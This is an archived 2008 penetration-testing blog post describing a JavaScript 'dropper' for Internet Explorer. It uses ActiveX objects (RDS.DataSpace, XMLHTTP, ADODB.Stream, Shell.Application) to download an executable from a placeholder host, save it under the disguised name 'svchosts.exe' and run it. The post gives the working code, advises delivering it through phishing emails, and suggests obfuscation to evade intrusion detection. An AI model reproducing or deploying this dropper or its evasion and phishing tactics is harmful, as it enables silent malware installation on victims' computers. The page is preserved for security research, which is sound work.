

Owning the Client without an Exploit

Owning the Client without an Exploit - Ar-themes, blog.carnal0wnage.com.

- Published: date not stated
- Original: <<https://carnal0wnage.blogspot.com/2008/08/owning-client-without-and-exploit.html>>
- Current location: <<https://blog.carnal0wnage.com/2008/08/owning-client-without-and-exploit.html>>
- Preserved from: <https://blog.carnal0wnage.com/2008/08/owning-client-without-and-exploit.html> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

So after a long hiatus of no posts I figured it was time to step up and post something that may be of interest to pentesters. In the spirit of continuity to some previous posts about client-side attacks and as a follow up to some discussions that Chris and I have been having, this post will be about Client-side Ownage.

It's nothing groundbreaking but may have a place in your arsenal of tools and attack vectors. What do you do when all those cool client-side attacks in Metasploit fail? Damn those companies that patch 3rd party products. As shown in the previous posts it's still possible to gather a great deal of information about the remote user, host and network using PHP and some Java but what do you do when you need a foothold on that host to pivot further into the network?

Enter the Dropper. Using JavaScript and Microsoft's XMLHttpRequest Object it is possible to download and run your backdoor with just a little interaction from the victim. The XMLHttpRequest Object, a core component of AJAX, provides support for client-side communication with a HTTP server. A user can make use of the XMLHttpRequest Object to send a request and have the XML DOM parse that request. Great if you have data such as XML that you need to parse and display on a page for example.

What about requesting another file type like, oh I don't know, an exe? This might have some value. :) Lets take a look at a JavaScript function to do just that.

First we need to create our object elements and the required attributes needed to download and execute the file we want:

```
function dropper() {  
  
var x = document.createElement('object'); x.setAttribute('id','x'); x.setAttribute('classid','clsid:D96C556-65A3-11D0-983A-00C04FC29E36');
```

```
try { var obj = x.CreateObject('msxml2.XMLHTTP',''); var app = x.CreateObject('Shell.Application',''); var str = x.CreateObject('ADODB.stream','');
```

We use document.createElement to create an element and use it in conjunction with setAttribute to modify the attributes of each new element. The classid in use is a Remote Data Service object. It allows the execution of code from a remote source. Search your registry and you'll see that it is assigned to RDS.DataSpace, a non-visual ActiveX control, which handles remote data connections. This function is part of Microsoft's MDAC.

We create our msxml2.XMLHTTP object which will handle communication with the web server that is hosting our executable.

Then we use the Object element to instantiate a Shell Object which is identified by the CLASSID.

The ADODB.Stream object in ActiveX, which contains methods to manage a stream of binary data or text, is used to handle the storing and saving of the data to a file.

Now let's grab the file, install it to a directory of our choice and run it.

```
try { str.type = 1; obj.open('GET','http://coolsite.com//innocent.exe',false); obj.send(); str.open(); str.Write(obj.responseBody); var path = '../..//svchosts.exe'; str.SaveToFile(path,2); str.Close(); } catch(e) {}
```

First we use the Type property to set the type of data in the stream object. 1 is for Binary.

Next we use the XMLHttpRequest Open Method initialize an MSXML2.XMLHTTP request in which we specify the retrieval method, URL and authentication information if any. The XMLHttpRequest Send Method allows us to send the HTTP request to the server.

The ADODB.stream Open Method is used to create and open a Stream object. The ADODB.stream Write Method is used to write the binary data to a binary Stream object. After specifying the path we now use the ADODB.stream SaveToFile method is used to save contents of our open Stream object to a local file of our choosing. In this case we use an option value of 2 that overwrites the file if it already exists. We then close the object.

The next step is to use our Shell Object to execute our newly downloaded executable using the shellexecute function.

```
try { app.shellexecute(path); } catch(e) {} } catch(e) {} }
```

Place this code in a webpage either directly or through an include, create a good phishing email (see other posts) and send it off to your victims. Before anyone makes mention that this requires ActiveX to run remember that enough users will allow ActiveX controls to be run for it to be useful. On I.E. 6 this should perform a silent download and on I.E. 7 it will prompt the user.

You can add additional code to the page to check the browser version and prompt the user to either change to IE or have a direct link to the file for the user to click and run. Remember it just takes one user that follows the link to give you access.

One other thing to consider is IDS/IPS evasion. The code above will likely get flagged by an IDS in the form it is now. Look at JavaScript obfuscation techniques such as 'string-splitting', arguments.callee() and other methods to evade the IDS or just hide your code.

Variants of this method we have just discussed are actually widely used by malware authors on their sites to drop files onto users systems. Have a look at the next spam email you get and decode the

JavaScript on the page.

Cheers,

Archived from <https://carnal0wnage.blogspot.com/2008/08/owning-client-without-and-exploit.html>. Rendered offline from the local Markdown copy.